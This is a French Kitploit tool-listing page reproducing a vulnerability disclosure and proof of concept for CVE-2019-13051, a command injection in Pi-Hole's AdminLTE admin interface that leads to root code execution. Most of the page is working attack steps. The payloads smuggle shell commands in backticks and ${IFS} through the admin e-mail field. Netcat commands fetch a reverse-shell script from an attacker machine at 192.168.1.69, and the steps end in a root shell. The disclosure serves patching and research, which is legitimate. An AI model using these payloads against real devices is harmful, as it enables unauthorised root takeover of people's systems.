Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-13051 | Kitploit
Outils/GitHubGitHub/pr0tean/cve-2019-13051
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHubpr0tean/cve-2019-13051

CVE-2019-13051

Voir le dépôt
203il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Pi-Hole < 4.3.2 Injection de commandes et élévation de privilèges (CVE-2019-13051)

Pi-Hole version 4.3.2 contient un correctif pour cette vulnérabilité : https://github.com/pi-hole/AdminLTE/pull/974

Un grand merci à l'équipe de développement de Pi-Hole pour leur projet génial et pour avoir rendu le signalement de cette vulnérabilité si simple !

Résumé exécutif

Il est possible d'obtenir à distance un accès root sur l'appareil Raspberry Pi (ou sur tout autre appareil/VM où l'application est exécutée) grâce aux vulnérabilités décrites du composant « AdminLTE ». Des accès/identifiants administratifs à l'interface web AdminLTE sont nécessaires pour exploiter cette vulnérabilité.

Plus précisément, il est possible de contourner les contrôles par expressions régulières et d'insérer des commandes arbitraires dans le champ « Adresse e-mail de l'administrateur ». Ces commandes sont ensuite stockées dans « /etc/pihole/setupVars.conf », puis analysées et exécutées avec les privilèges root par la tâche cron.d de 10 minutes « /usr/local/bin/pihole updatechecker local ».

Prérequis de l'attaque

  1. Connectivité réseau vers l'application web d'administration Pi-Hole (AdminLTE).
  2. Un ensemble d'identifiants pour l'application web AdminLTE.

Limites

Un attaquant doit attendre l'intervalle de 10 minutes de la tâche cron « /etc/cron.d/pihole » pour que l'exécution de la commande/du code ait lieu.

Description technique

Espérons que les détails et la preuve de concept (PoC) suivants vous aideront à valider et à reproduire le problème.

Une fois authentifié sur l'application web, l'attaquant doit contourner quelques validations côté serveur pour injecter une commande avec succès.

Dans « savesettings.php » L:499, une variable contrôlée par l'utilisateur, « $adminemail », est évaluée par la fonction PHP interne FILTER_VALIDATE_EMAIL dont les vérifications sont relativement faibles.

Il est alors possible de contourner ce contrôle de validation et de prouver l'injection de commande en plaçant simplement des backticks entre guillemets doubles, par exemple en saisissant ce qui suit comme adresse e-mail de l'administrateur :

"`test>/tmp/poc_proof.txt`"@example.com

Capture d'écran 1

En l'espace de 10 minutes, un fichier appartenant à root contenant « test » sera créé dans « /tmp/poc_proof.txt » avec les privilèges root.

Capture d'écran 2

Pour mener d'autres attaques significatives, il faut également contourner la limitation des espaces (qui ne sont pas des caractères valides pour une adresse e-mail et sont rejetés par la fonction FILTER_VALIDATE_EMAIL). Pour cela, la variable Linux interne ${IFS} a été utilisée (qui, par défaut, correspond à un espace dans la plupart des systèmes d'exploitation Unix).

PoC :

*Remarque : cela peut être automatisé sur une seule ligne en utilisant la grammaire du shell POSIX, c.-à-d. &&, || ...

  1. Assurez-vous que votre mécanisme de distribution de script est prêt sur votre machine d'attaque. C'est-à-dire sur la machine d'attaque :

nc -nvlp 4444 < revshell.py

  1. Soumettez la première commande dans le champ « Adresse e-mail de l'administrateur » pour déclencher la récupération et le stockage d'un script Python de reverse shell dans « /tmp/revshell.py » :

"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

Capture d'écran 3

La requête HTTP ressemblera à ceci lorsqu'elle est examinée avec un proxy HTTP :

Capture d'écran 4

Attendez 10 minutes que la tâche cron s'exécute et récupère le script, ou, à des fins de reproduction, exécutez manuellement /usr/local/bin/pihole updatechecker local. Vous pouvez également vérifier la commande injectée présente dans « /etc/pihole/setupVars.conf » (assignée à la variable ADMIN_EMAIL)

  1. Assurez-vous que votre service de capture de shell est prêt. C'est-à-dire sur la machine d'attaque :

nc -nvlp 4445

  1. Enfin, vous pouvez soumettre ce qui suit :

“`python${IFS}/tmp/revshell.py`”@example.com

Attendez à nouveau 10 minutes (ou exécutez manuellement le script cron pour reproduire le problème) et vous obtiendrez un shell root sur votre machine d'attaque.

Capture d'écran 1

Télécharger l’outil